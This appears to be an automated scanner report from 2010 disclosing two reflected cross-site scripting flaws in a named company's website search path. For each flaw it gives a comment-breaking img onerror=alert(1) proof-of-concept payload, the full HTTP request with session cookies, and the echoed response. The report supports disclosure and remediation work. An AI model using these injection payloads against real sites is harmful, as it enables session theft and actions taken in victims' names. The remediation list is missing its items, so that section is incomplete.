Report generated by Hoyt LLC Research at Tue Nov 09 14:20:03 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://www.exigenservices.com/search/node/%27%27 [REST URL parameter 1]

1.2. http://www.exigenservices.com/search/node/%27%27 [REST URL parameter 2]


1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.exigenservices.com/search/node/%27%27 [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.exigenservices.com
Path:   /search/node/%27%27

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 9b7d0--><img%20src%3da%20onerror%3dalert(1)>1fc2b552d87 was submitted in the REST URL parameter 1. This input was echoed as 9b7d0--><img src=a onerror=alert(1)>1fc2b552d87 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /search9b7d0--><img%20src%3da%20onerror%3dalert(1)>1fc2b552d87/node/%27%27 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.exigenservices.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.exigenservices.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SESSb39148e57f30e3eef81fb6a2fe828259=psvvdd0klihhr4mvcu72lb4pa2; __utma=203031237.770492459.1289328647.1289328647.1289328647.1; __utmb=203031237.1.10.1289328647; __utmc=203031237; __utmz=203031237.1289328647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Tue, 09 Nov 2010 18:56:27 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 09 Nov 2010 18:56:27 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 8650

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
<title>Page
...[SNIP]...
<a href="/search9b7d0--><img src=a onerror=alert(1)>1fc2b552d87" title=">
...[SNIP]...
1.2. http://www.exigenservices.com/search/node/%27%27 [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.exigenservices.com
Path:   /search/node/%27%27

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload a5d15--><img%20src%3da%20onerror%3dalert(1)>ce66d89e3e3 was submitted in the REST URL parameter 2. This input was echoed as a5d15--><img src=a onerror=alert(1)>ce66d89e3e3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /search/nodea5d15--><img%20src%3da%20onerror%3dalert(1)>ce66d89e3e3/%27%27 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.exigenservices.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.exigenservices.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SESSb39148e57f30e3eef81fb6a2fe828259=psvvdd0klihhr4mvcu72lb4pa2; __utma=203031237.770492459.1289328647.1289328647.1289328647.1; __utmb=203031237.1.10.1289328647; __utmc=203031237; __utmz=203031237.1289328647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 18:57:17 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 09 Nov 2010 18:57:17 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 25691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
<title>Searc
...[SNIP]...
<a href="/search/nodea5d15--><img src=a onerror=alert(1)>ce66d89e3e3" title=">
...[SNIP]...
Report generated by Hoyt LLC Research at Tue Nov 09 14:20:03 CST 2010.